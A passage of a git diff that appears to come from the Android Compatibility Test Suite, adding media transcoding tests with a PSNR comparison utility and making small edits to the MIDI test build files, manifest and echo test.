+
+        // Create a file Uri: file:///data/user/0/android.media.cts/cache/HevcTranscode.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        ApplicationMediaCapabilities clientCaps =
+                new ApplicationMediaCapabilities.Builder().build();
+
+        TranscodingRequest.MediaFormatResolver
+                resolver = new TranscodingRequest.MediaFormatResolver()
+                .setSourceVideoFormatHint(MediaFormat.createVideoFormat(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT))
+                .setClientCapabilities(clientCaps);
+        assertTrue(resolver.shouldTranscode());
+        MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
+        assertNotNull(videoTrackFormat);
+
+        int pid = android.os.Process.myPid();
+        int uid = android.os.Process.myUid();
+
+        TranscodingRequest.Builder builder =
+                new TranscodingRequest.Builder()
+                        .setSourceUri(fileUri)
+                        .setDestinationUri(destinationUri)
+                        .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                        .setClientPid(pid)
+                        .setClientUid(uid)
+                        .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                        .setVideoTrackFormat(videoTrackFormat);
+
+        if (testFileDescriptor) {
+            // Open source Uri.
+            AssetFileDescriptor afd = mContentResolver.openAssetFileDescriptor(fileUri,
+                    "r");
+            builder.setSourceFileDescriptor(afd.getParcelFileDescriptor());
+            // Open destination Uri
+            afd = mContentResolver.openAssetFileDescriptor(destinationUri, "rw");
+            builder.setDestinationFileDescriptor(afd.getParcelFileDescriptor());
+        }
+        TranscodingRequest request = builder.build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+        assertEquals(pid, request.getClientPid());
+        assertEquals(uid, request.getClientUid());
+
+        Log.d(TAG, "transcoding to format: " + videoTrackFormat);
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_SUCCESS, transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        if (session != null) {
+            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+            boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                    TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        }
+
+        if (DEBUG_TRANSCODED_VIDEO) {
+            try {
+                // Add the system time to avoid duplicate that leads to write failure.
+                String filename =
+                        "transcoded_" + System.nanoTime() + "_" + fileUri.getLastPathSegment();
+                String path = "/storage/emulated/0/Download/" + filename;
+                final File file = new File(path);
+                ParcelFileDescriptor pfd = mContext.getContentResolver().openFileDescriptor(
+                        destinationUri, "r");
+                FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+                FileOutputStream fos = new FileOutputStream(file);
+                FileUtils.copy(fis, fos);
+            } catch (IOException e) {
+                Log.e(TAG, "Failed to copy file", e);
+            }
+        }
+
+        // TODO(hkuang): Validate the transcoded video's width and height, framerate.
+
+        // Validates the transcoded video's psnr.
+        // Enable this after fixing b/175644377
+        MediaTranscodingTestUtil.VideoTranscodingStatistics stats =
+                MediaTranscodingTestUtil.computeStats(mContext, fileUri, destinationUri, DEBUG_YUV);
+        assertTrue("PSNR: " + stats.mAveragePSNR + " is too low",
+                stats.mAveragePSNR >= PSNR_THRESHOLD);
+    }
+
+    public void testCancelTranscoding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Log.d(TAG, "Starting: testCancelTranscoding");
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+        final CountDownLatch statusLatch = new CountDownLatch(1);
+
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+        TranscodingRequest request =
+                new TranscodingRequest.Builder()
+                        .setSourceUri(mSourceHEVCVideoUri)
+                        .setDestinationUri(destinationUri)
+                        .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                        .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                        .setVideoTrackFormat(createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_CANCELED,
+                            transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        // Wait for progress update before cancel the transcoding.
+        session.setOnProgressUpdateListener(listenerExecutor,
+                new TranscodingSession.OnProgressUpdateListener() {
+                    @Override
+                    public void onProgressUpdate(TranscodingSession session, int newProgress) {
+                        if (newProgress > 0) {
+                            statusLatch.countDown();
+                        }
+                    }
+                });
+
+        statusLatch.await(2, TimeUnit.MILLISECONDS);
+        session.cancel();
+
+        Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+        boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                30, TimeUnit.MILLISECONDS);
+        assertTrue("Fails to cancel transcoding", finishedOnTime);
+    }
+
+    // Transcoding video on behalf of init dameon and expect UnsupportedOperationException due to
+    // CTS test is not a privilege caller.
+    // Disable this test as Android S will only allow MediaProvider to access the API.
+    /*public void testPidAndUidForwarding() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(UnsupportedOperationException.class, () -> {
+            Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+            // Use init dameon's pid and uid.
+            int pid = 1;
+            int uid = 0;
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setClientPid(pid)
+                            .setClientUid(uid)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+            Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+            TranscodingSession session =
+                    mMediaTranscodeManager.enqueueRequest(
+                            request,
+                            listenerExecutor,
+                            transcodingSession -> {
+                                transcodeCompleteSemaphore.release();
+                            });
+        });
+    }*/
+
+    public void testTranscodingProgressUpdate() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Log.d(TAG, "Starting: testTranscodingProgressUpdate");
+
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        // Create a file Uri: file:///data/user/0/android.media.mediatranscoding.cts/cache/HevcTranscode.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/HevcTranscode.mp4");
+
+         TranscodingRequest request =
+                new TranscodingRequest.Builder()
+                        .setSourceUri(mSourceHEVCVideoUri)
+                        .setDestinationUri(destinationUri)
+                        .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                        .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                        .setVideoTrackFormat(createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+                listenerExecutor,
+                TranscodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + TranscodingSession.getResult());
+                    assertEquals(TranscodingSession.RESULT_SUCCESS, TranscodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                });
+        assertNotNull(session);
+
+        AtomicInteger progressUpdateCount = new AtomicInteger(0);
+
+        // Set progress update executor and use the same executor as result listener.
+        session.setOnProgressUpdateListener(listenerExecutor,
+                new TranscodingSession.OnProgressUpdateListener() {
+                    int mPreviousProgress = 0;
+
+                    @Override
+                    public void onProgressUpdate(TranscodingSession session, int newProgress) {
+                        assertTrue("Invalid proress update", newProgress > mPreviousProgress);
+                        assertTrue("Invalid proress update", newProgress <= 100);
+                        mPreviousProgress = newProgress;
+                        progressUpdateCount.getAndIncrement();
+                        Log.i(TAG, "Get progress update " + newProgress);
+                    }
+                });
+
+        boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        assertTrue("Failed to receive at least 10 progress updates",
+                progressUpdateCount.get() > 10);
+    }
+}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
new file mode 100644
index 0000000..c5500ae
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -0,0 +1,524 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediatranscoding.cts;
+
+import static org.junit.Assert.assertTrue;
+
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+import android.util.Size;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Locale;
+
+/* package */ class MediaTranscodingTestUtil {
+    private static final String TAG = "MediaTranscodingTestUtil";
+
+    // Helper class to extract the information from source file and transcoded file.
+    static class VideoFileInfo {
+        String mUri;
+        int mNumVideoFrames = 0;
+        int mWidth = 0;
+        int mHeight = 0;
+        float mVideoFrameRate = 0.0f;
+        boolean mHasAudio = false;
+        int mRotationDegree = 0;
+
+        public String toString() {
+            String str = mUri;
+            str += " Width:" + mWidth;
+            str += " Height:" + mHeight;
+            str += " FrameRate:" + mWidth;
+            str += " FrameCount:" + mNumVideoFrames;
+            str += " HasAudio:" + (mHasAudio ? "Yes" : "No");
+            return str;
+        }
+    }
+
+    static VideoFileInfo extractVideoFileInfo(Context ctx, Uri videoUri) throws IOException {
+        VideoFileInfo info = new VideoFileInfo();
+        AssetFileDescriptor afd = null;
+        MediaMetadataRetriever retriever = null;
+
+        try {
+            afd = ctx.getContentResolver().openAssetFileDescriptor(videoUri, "r");
+            retriever = new MediaMetadataRetriever();
+            retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+
+            info.mUri = videoUri.getLastPathSegment();
+            Log.i(TAG, "Trying to transcode to " + info.mUri);
+            String width = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH);
+            String height = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT);
+            if (width != null && height != null) {
+                info.mWidth = Integer.parseInt(width);
+                info.mHeight = Integer.parseInt(height);
+            }
+
+            String frameRate = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_CAPTURE_FRAMERATE);
+            if (frameRate != null) {
+                info.mVideoFrameRate = Float.parseFloat(frameRate);
+            }
+
+            String frameCount = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_FRAME_COUNT);
+            if (frameCount != null) {
+                info.mNumVideoFrames = Integer.parseInt(frameCount);
+            }
+
+            String hasAudio = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_HAS_AUDIO);
+            if (hasAudio != null) {
+                info.mHasAudio = hasAudio.equals("yes");
+            }
+
+            retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            String degree = retriever.extractMetadata(
+                    MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+            if (degree != null) {
+                info.mRotationDegree = Integer.parseInt(degree);
+            }
+        } finally {
+            if (retriever != null) {
+                retriever.close();
+            }
+            if (afd != null) {
+                afd.close();
+            }
+        }
+        return info;
+    }
+
+    static void dumpYuvToExternal(final Context ctx, Uri yuvUri) {
+        Log.i(TAG, "dumping file to external");
+        try {
+            String filename = + System.nanoTime() + "_" + yuvUri.getLastPathSegment();
+            String path = "/storage/emulated/0/Download/" + filename;
+            final File file = new File(path);
+            ParcelFileDescriptor pfd = ctx.getContentResolver().openFileDescriptor(yuvUri, "r");
+            FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+            FileOutputStream fos = new FileOutputStream(file);
+            FileUtils.copy(fis, fos);
+        } catch (IOException e) {
+            Log.e(TAG, "Failed to copy file", e);
+        }
+    }
+
+    static VideoTranscodingStatistics computeStats(final Context ctx, final Uri sourceMp4,
+            final Uri transcodedMp4, boolean debugYuv)
+            throws Exception {
+        // First decode the sourceMp4 to a temp yuv in yuv420p format.
+        Uri sourceYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + ctx.getCacheDir().getAbsolutePath() + "/sourceYUV420P.yuv");
+        decodeMp4ToYuv(ctx, sourceMp4, sourceYUV420PUri);
+        VideoFileInfo srcInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, sourceYUV420PUri);
+        }
+
+        // Second decode the transcodedMp4 to a temp yuv in yuv420p format.
+        Uri transcodedYUV420PUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + ctx.getCacheDir().getAbsolutePath() + "/transcodedYUV420P.yuv");
+        decodeMp4ToYuv(ctx, transcodedMp4, transcodedYUV420PUri);
+        VideoFileInfo dstInfo = extractVideoFileInfo(ctx, sourceMp4);
+        if (debugYuv) {
+            dumpYuvToExternal(ctx, transcodedYUV420PUri);
+        }
+
+        if ((srcInfo.mWidth != dstInfo.mWidth) || (srcInfo.mHeight != dstInfo.mHeight) ||
+                (srcInfo.mNumVideoFrames != dstInfo.mNumVideoFrames) ||
+                (srcInfo.mRotationDegree != dstInfo.mRotationDegree)) {
+            throw new UnsupportedOperationException(
+                    "Src mp4 and dst mp4 must have same width/height/frames");
+        }
+
+        // Then Compute the psnr of transcodedYUV420PUri against sourceYUV420PUri.
+        return computePsnr(ctx, sourceYUV420PUri, transcodedYUV420PUri, srcInfo.mWidth,
+                srcInfo.mHeight);
+    }
+
+    private static void decodeMp4ToYuv(final Context ctx, final Uri fileUri, final Uri yuvUri)
+            throws Exception {
+        AssetFileDescriptor fileFd = null;
+        MediaExtractor extractor = null;
+        MediaCodec codec = null;
+        AssetFileDescriptor yuvFd = null;
+        FileOutputStream out = null;
+        int width = 0;
+        int height = 0;
+
+        try {
+            fileFd = ctx.getContentResolver().openAssetFileDescriptor(fileUri, "r");
+            extractor = new MediaExtractor();
+            extractor.setDataSource(fileFd.getFileDescriptor(), fileFd.getStartOffset(),
+                    fileFd.getLength());
+
+            // Selects the video track.
+            int trackCount = extractor.getTrackCount();
+            if (trackCount <= 0) {
+                throw new IllegalArgumentException("Invalid mp4 file");
+            }
+            int videoTrackIndex = -1;
+            for (int i = 0; i < trackCount; i++) {
+                extractor.selectTrack(i);
+                MediaFormat format = extractor.getTrackFormat(i);
+                if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                    videoTrackIndex = i;
+                    break;
+                }
+                extractor.unselectTrack(i);
+            }
+            if (videoTrackIndex == -1) {
+                throw new IllegalArgumentException("Can not find video track");
+            }
+
+            extractor.selectTrack(videoTrackIndex);
+            MediaFormat format = extractor.getTrackFormat(videoTrackIndex);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                    MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Planar);
+
+            // Opens the yuv file uri.
+            yuvFd = ctx.getContentResolver().openAssetFileDescriptor(yuvUri,
+                    "w");
+            out = new FileOutputStream(yuvFd.getFileDescriptor());
+
+            codec = MediaCodec.createDecoderByType(mime);
+            codec.configure(format,
+                    null,  // surface
+                    null,  // crypto
+                    0);    // flags
+            codec.start();
+
+            ByteBuffer[] inputBuffers = codec.getInputBuffers();
+            ByteBuffer[] outputBuffers = codec.getOutputBuffers();
+            MediaFormat decoderOutputFormat = codec.getInputFormat();
+
+            // start decode loop
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+            final long kTimeOutUs = 1000; // 1ms timeout
+            long lastOutputTimeUs = 0;
+            boolean sawInputEOS = false;
+            boolean sawOutputEOS = false;
+            int inputNum = 0;
+            int outputNum = 0;
+            boolean advanceDone = true;
+
+            long start = System.currentTimeMillis();
+            while (!sawOutputEOS) {
+                // handle input
+                if (!sawInputEOS) {
+                    int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                    if (inputBufIndex >= 0) {
+                        ByteBuffer dstBuf = inputBuffers[inputBufIndex];
+                        // sample contains the buffer and the PTS offset normalized to frame index
+                        int sampleSize =
+                                extractor.readSampleData(dstBuf, 0 /* offset */);
+                        long presentationTimeUs = extractor.getSampleTime();
+                        advanceDone = extractor.advance();
+
+                        if (sampleSize < 0) {
+                            Log.d(TAG, "saw input EOS.");
+                            sawInputEOS = true;
+                            sampleSize = 0;
+                        }
+                        codec.queueInputBuffer(
+                                inputBufIndex,
+                                0 /* offset */,
+                                sampleSize,
+                                presentationTimeUs,
+                                sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                    } else {
+                        Log.d(TAG, "codec.dequeueInputBuffer() unrecognized return value:");
+                    }
+                }
+
+                // handle output
+                int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+                if (outputBufIndex >= 0) {
+                    if (info.size > 0) { // Disregard 0-sized buffers at the end.
+                        outputNum++;
+                        Log.i(TAG, "Output frame numer " + outputNum);
+                        Image image = codec.getOutputImage(outputBufIndex);
+                        dumpYUV420PToFile(image, out);
+                    }
+
+                    codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+                    if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "saw output EOS.");
+                        sawOutputEOS = true;
+                    }
+                } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    outputBuffers = codec.getOutputBuffers();
+                    Log.d(TAG, "output buffers have changed.");
+                } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    decoderOutputFormat = codec.getOutputFormat();
+                    Log.d(TAG, "output resolution " + width + "x" + height);
+                } else {
+                    Log.w(TAG, "codec.dequeueOutputBuffer() unrecognized return index");
+                }
+            }
+        } finally {
+            if (codec != null) {
+                codec.stop();
+                codec.release();
+            }
+            if (extractor != null) {
+                extractor.release();
+            }
+            if (out != null) {
+                out.close();
+            }
+            if (fileFd != null) {
+                fileFd.close();
+            }
+            if (yuvFd != null) {
+                yuvFd.close();
+            }
+        }
+    }
+
+    private static void dumpYUV420PToFile(Image image, FileOutputStream out) throws IOException {
+        int format = image.getFormat();
+
+        if (ImageFormat.YUV_420_888 != format) {
+            throw new UnsupportedOperationException("Only supports YUV420P");
+        }
+
+        int imageWidth = image.getWidth();
+        int imageHeight = image.getHeight();
+        byte[] bb = new byte[imageWidth * imageHeight];
+        byte[] lb = null;
+        Image.Plane[] planes = image.getPlanes();
+        for (int i = 0; i < planes.length; ++i) {
+            ByteBuffer buf = planes[i].getBuffer();
+
+            int width, height, rowStride, pixelStride, x, y;
+            rowStride = planes[i].getRowStride();
+            pixelStride = planes[i].getPixelStride();
+            if (i == 0) {
+                width = imageWidth;
+                height = imageHeight;
+            } else {
+                width = imageWidth / 2;
+                height = imageHeight / 2;
+            }
+
+            if (buf.hasArray()) {
+                byte b[] = buf.array();
+                int offs = buf.arrayOffset();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                    }
+                } else {
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        int lineOffset = offs + y * rowStride;
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = b[lineOffset + x * pixelStride];
+                        }
+                    }
+                }
+            } else { // almost always ends up here due to direct buffers
+                int pos = buf.position();
+                if (pixelStride == 1) {
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        buf.get(bb, y * width, width);
+                    }
+                } else {
+                    // Reallocate linebuffer if necessary.
+                    if (lb == null || lb.length < rowStride) {
+                        lb = new byte[rowStride];
+                    }
+                    // do it pixel-by-pixel
+                    for (y = 0; y < height; ++y) {
+                        buf.position(pos + y * rowStride);
+                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
+                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
+                        for (x = 0; x < width; ++x) {
+                            bb[y * width + x] = lb[x * pixelStride];
+                        }
+                    }
+                }
+                buf.position(pos);
+            }
+            // Write out the buffer to the output.
+            out.write(bb, 0, width * height);
+        }
+    }
+
+    ////////////////////////////////////////////////////////////////////////////////////////////////
+    // The following psnr code is leveraged from the following file with minor modification:
+    // cts/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+    ////////////////////////////////////////////////////////////////////////////////////////////////
+    // TODO(hkuang): Merge this code with the code in VideoCodecTestBase to use the same one.
+    /**
+     * Calculates PSNR value between two video frames.
+     */
+    private static double computePSNR(byte[] data0, byte[] data1) {
+        long squareError = 0;
+        assertTrue(data0.length == data1.length);
+        int length = data0.length;
+        for (int i = 0; i < length; i++) {
+            int diff = ((int) data0[i] & 0xff) - ((int) data1[i] & 0xff);
+            squareError += diff * diff;
+        }
+        double meanSquareError = (double) squareError / length;
+        double psnr = 10 * Math.log10((double) 255 * 255 / meanSquareError);
+        return psnr;
+    }
+
+    /**
+     * Calculates average and minimum PSNR values between
+     * set of reference and decoded video frames.
+     * Runs PSNR calculation for the full duration of the decoded data.
+     */
+    private static VideoTranscodingStatistics computePsnr(
+            Context ctx,
+            Uri referenceYuvFileUri,
+            Uri decodedYuvFileUri,
+            int width,
+            int height) throws Exception {
+        VideoTranscodingStatistics statistics = new VideoTranscodingStatistics();
+        AssetFileDescriptor referenceFd = ctx.getContentResolver().openAssetFileDescriptor(
+                referenceYuvFileUri, "r");
+        InputStream referenceStream = new FileInputStream(referenceFd.getFileDescriptor());
+
+        AssetFileDescriptor decodedFd = ctx.getContentResolver().openAssetFileDescriptor(
+                decodedYuvFileUri, "r");
+        InputStream decodedStream = new FileInputStream(decodedFd.getFileDescriptor());
+
+        int ySize = width * height;
+        int uvSize = width * height / 4;
+        byte[] yRef = new byte[ySize];
+        byte[] yDec = new byte[ySize];
+        byte[] uvRef = new byte[uvSize];
+        byte[] uvDec = new byte[uvSize];
+
+        int frames = 0;
+        double averageYPSNR = 0;
+        double averageUPSNR = 0;
+        double averageVPSNR = 0;
+        double minimumYPSNR = Integer.MAX_VALUE;
+        double minimumUPSNR = Integer.MAX_VALUE;
+        double minimumVPSNR = Integer.MAX_VALUE;
+        int minimumPSNRFrameIndex = 0;
+
+        while (true) {
+            // Calculate Y PSNR.
+            int bytesReadRef = referenceStream.read(yRef);
+            int bytesReadDec = decodedStream.read(yDec);
+            if (bytesReadDec == -1) {
+                break;
+            }
+            if (bytesReadRef == -1) {
+                break;
+            }
+            double curYPSNR = computePSNR(yRef, yDec);
+            averageYPSNR += curYPSNR;
+            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+            double curMinimumPSNR = curYPSNR;
+
+            // Calculate U PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curUPSNR = computePSNR(uvRef, uvDec);
+            averageUPSNR += curUPSNR;
+            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+            // Calculate V PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curVPSNR = computePSNR(uvRef, uvDec);
+            averageVPSNR += curVPSNR;
+            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+            // Frame index for minimum PSNR value - help to detect possible distortions
+            if (curMinimumPSNR < statistics.mMinimumPSNR) {
+                statistics.mMinimumPSNR = curMinimumPSNR;
+                minimumPSNRFrameIndex = frames;
+            }
+
+            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+                    frames, curYPSNR, curUPSNR, curVPSNR);
+            Log.v(TAG, logStr);
+
+            frames++;
+        }
+
+        averageYPSNR /= frames;
+        averageUPSNR /= frames;
+        averageVPSNR /= frames;
+        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+        String logStr = String.format(Locale.US,
+                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+        Log.d(TAG, logStr);
+        logStr = String.format(Locale.US,
+                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+                minimumYPSNR, minimumUPSNR, minimumVPSNR,
+                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+        Log.d(TAG, logStr);
+
+        referenceStream.close();
+        decodedStream.close();
+        referenceFd.close();
+        decodedFd.close();
+        return statistics;
+    }
+
+    /**
+     * Transcoding PSNR statistics.
+     */
+    protected static class VideoTranscodingStatistics {
+        public double mAveragePSNR;
+        public double mMinimumPSNR;
+
+        VideoTranscodingStatistics() {
+            mMinimumPSNR = Integer.MAX_VALUE;
+        }
+    }
+}
diff --git a/tests/tests/midi/Android.bp b/tests/tests/midi/Android.bp
index b2e437f..fa9105e 100644
--- a/tests/tests/midi/Android.bp
+++ b/tests/tests/midi/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMidiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/midi/AndroidManifest.xml b/tests/tests/midi/AndroidManifest.xml
index c82bb32..6e7bce9 100755
--- a/tests/tests/midi/AndroidManifest.xml
+++ b/tests/tests/midi/AndroidManifest.xml
@@ -16,33 +16,32 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.midi.cts">
+     package="android.midi.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <uses-feature android:name="android.software.midi" android:required="true"/>
+    <uses-feature android:name="android.software.midi"
+         android:required="true"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="com.android.midi.MidiEchoTestService"
-                android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
+             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.midi.MidiDeviceService" />
+                <action android:name="android.media.midi.MidiDeviceService"/>
             </intent-filter>
             <meta-data android:name="android.media.midi.MidiDeviceService"
-                android:resource="@xml/echo_device_info" />
+                 android:resource="@xml/echo_device_info"/>
         </service>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS MIDI tests"
-        android:targetPackage="android.midi.cts" >
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS MIDI tests"
+         android:targetPackage="android.midi.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/midi/TEST_MAPPING b/tests/tests/midi/TEST_MAPPING
new file mode 100644
index 0000000..af15405
--- /dev/null
+++ b/tests/tests/midi/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMidiTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index 3c014ed..186967d 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -61,6 +61,11 @@
     // So this timeout value is very generous.
     private static final int TIMEOUT_STATUS_MSEC = 500; // arbitrary
 
+    // This is defined in MidiPortImpl.java as the maximum payload that
+    // can be sent internally by MidiInputPort in a
+    // SOCK_SEQPACKET datagram.
+    private static final int MAX_PACKET_DATA_SIZE = 1024 - 9;
+
     // Store device and ports related to the Echo service.
     static class MidiTestContext {
